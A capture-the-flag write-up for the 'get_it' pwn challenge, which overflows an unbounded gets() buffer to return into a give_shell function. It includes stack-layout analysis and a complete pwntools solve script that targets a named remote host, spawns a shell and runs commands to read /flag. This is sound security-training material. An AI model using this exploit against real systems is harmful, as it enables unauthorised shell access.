get_it (csaw18q_getit)
get_it (csaw18q_getit)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: movaps_alignment_fallback, ret2win, return_address_overwrite, stack_buffer_overflow
Summary
Task: NON-PIE x86-64 binary reads input with unbounded gets() into a 0x20 stack buffer; a give_shell() function calling system("/bin/sh") already exists. Solution: classic ret2win — overflow 0x28 bytes (buf + saved rbp) and overwrite the saved return address with the address of give_shell to spawn a shell and read /flag.
get_it (csaw18q_getit) — pwn_spbctf
Description
Флаг лежит в /flag
(English: "The flag is in /flag.") This is the original CSAW 2018 quals get_it
challenge, re-hosted on pwn.spbctf.ru as the pwn6 "Добор" (extra) tier,
category Pointers. Author: Anatoly Korniltsev (@korniltsev).
Remote: nc 109.233.56.90 11509.
The goal is to spawn a shell on the remote service and read the flag from /flag.
Analysis
The provided binary csaw18q_getit is a 64-bit ELF with weak protections:
- NON-PIE — loaded at the fixed base
0x400000, so all gadget/function addresses are static and known at compile time. - NX enabled — stack is not executable, so no shellcode on the stack.
- Partial RELRO.
- No stack canary — stack smashing is not detected.
- Not stripped — symbols are present, including a convenient win function.
Two functions matter:
main@0x401175: prints a prompt withputs(), then callsgets(buf)wherebuf = [rbp-0x20].gets()performs an unbounded read, giving a classic stack buffer overflow.give_shell@0x401162: callssystem("/bin/sh")(the"/bin/sh"string lives at0x402004). This is a ready-made ret2win target — no need to leak libc or build a ROP chain.
Because the binary is NON-PIE and ships its own system("/bin/sh") gadget, the
exploit reduces to overwriting the saved return address with the address of
give_shell.
Solution
Stack layout in main:
[rbp-0x20] buf <- gets() writes here, unbounded
... (0x20 bytes of buffer)
[rbp+0x00] saved rbp <- 8 bytes
[rbp+0x08] saved RET <- overwrite this
Offset from the start of buf to the saved return address:
offset = 0x20 (buffer size) + 8 (saved rbp) = 0x28 = 40 bytes
Payload:
payload = b"A" * 0x28 + p64(0x401162) # 0x401162 = give_shell
On this target, returning directly into give_shell worked with no
movaps SSE-alignment crash, so no extra ret gadget was needed. Fallbacks
were prepared in case of a 16-byte stack alignment fault:
- prepend a bare
retgadget at0x401016to realign the stack before thecall systeminsidegive_shell, or - jump to
give_shell + 1(0x401163) to skip thepush rbpand shift alignment.
After landing in give_shell, the shell runs cat /flag to recover the flag.
Solve script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST, PORT = '109.233.56.90', 11509 context.arch = 'amd64' give_shell = 0x401162 ret_gadget = 0x401016 # bare `ret` for 16-byte stack alignment (fallback) OFFSET = 0x28 # 0x20 buf + 8 saved rbp def try_payload(chain, label): log.info('Trying: %s' % label) io = remote(HOST, PORT, timeout=30) io.recvuntil(b'?', timeout=10) # prompt "Do you get it?" io.sendline(b'A' * OFFSET + chain) # overflow + ret2win io.sendline(b'cat /flag; echo END_MARKER; ls -la /') time.sleep(1.5) data = io.recvall(timeout=8) io.close() m = re.search(rb'spbctf\{[^}]*\}', data) return m.group().decode() if m else None # Attempt 1: direct give_shell — worked here, no alignment crash flag = try_payload(p64(give_shell), 'direct give_shell 0x401162') # Fallbacks (unused on this target): if not flag: time.sleep(35) # respect rate limit flag = try_payload(p64(ret_gadget) + p64(give_shell), 'ret-align + give_shell') if not flag: time.sleep(35) flag = try_payload(p64(give_shell + 1), 'give_shell+1 (skip push rbp)') print('FLAG:', flag)
Submitting the recovered flag via the platform's POST flag flips the tile to
"solved".
Tooling note (reusable)
On an arm64 macOS host there is no x86 objdump, and pwntools disasm/asm
can fail for amd64. Read raw instruction bytes directly with ELF.read() to
confirm gadget addresses, and validate the exploit against the remote service
rather than relying on local disassembly.